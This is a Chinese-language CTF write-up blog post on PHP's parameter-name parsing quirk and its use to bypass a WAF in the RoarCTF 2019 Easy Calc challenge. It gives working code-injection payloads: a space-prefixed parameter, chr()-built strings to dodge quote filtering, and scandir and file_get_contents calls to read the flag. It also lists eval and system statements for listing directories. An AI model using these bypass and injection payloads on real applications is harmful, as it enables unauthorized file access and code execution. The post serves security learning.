php参数名解析特性

Saofe1a

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1)删除空白符
2)将某些字符转换为下划线(包括空格)

来看一张图

PHP版本小于8时,如果参数中出现多次中括号[,只有第一个中括号会被转换成下划线_,其他的不变

PHP版本等于8时,传入的参数名中非法字符一律全部转换为了下划线

来看看例题,[RoarCTF 2019]Easy Calc

访问/calc.php,得到源码

当num传递的为字母时,被waf拦截(另一个waf,不是上面PHP文件设置的黑名单)

这里就可以用到字符串解析特性了,对于这种get参数非常好用,在num前面加上空格或者+号,再测试一下就可以了

由于对'单引号过滤,可以使用chr()函数绕过
这里尝试使用 system('ls') 获取目录时失败
用print_r(scandir(‘/‘))
calc.php?%20num=print_r(scandir(chr(47)))

payload:calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

查看目录的PHP语句如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
system('ls'); 
echo system('ls');
eval(system('ls'));
eval("echo system('ls');");

print_r(scandir('.'));
echo print_r(scandir('.'));
eval(print_r(scandir('.')));
eval("print_r(scandir('.'));");
eval("echo print_r(scandir('.'));");

var_dump(scandir('.'));
echo var_dump(scandir('.'));
eval(var_dump(scandir('.')));
eval("var_dump(scandir('.'));");
eval("echo var_dump(scandir('.'));");

读取文件内容的PHP语句将上面的函数改为file_get_contents()

当对引号进行过滤时,可以使用chr()拼接的方式进行过滤

  • Title: php参数名解析特性
  • Author: Saofe1a
  • Created at : 2024-10-13 11:04:27
  • Updated at : 2024-10-13 11:07:04
  • Link: https://saofeia.github.io/2024/10/13/php参数名解析特性/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
php参数名解析特性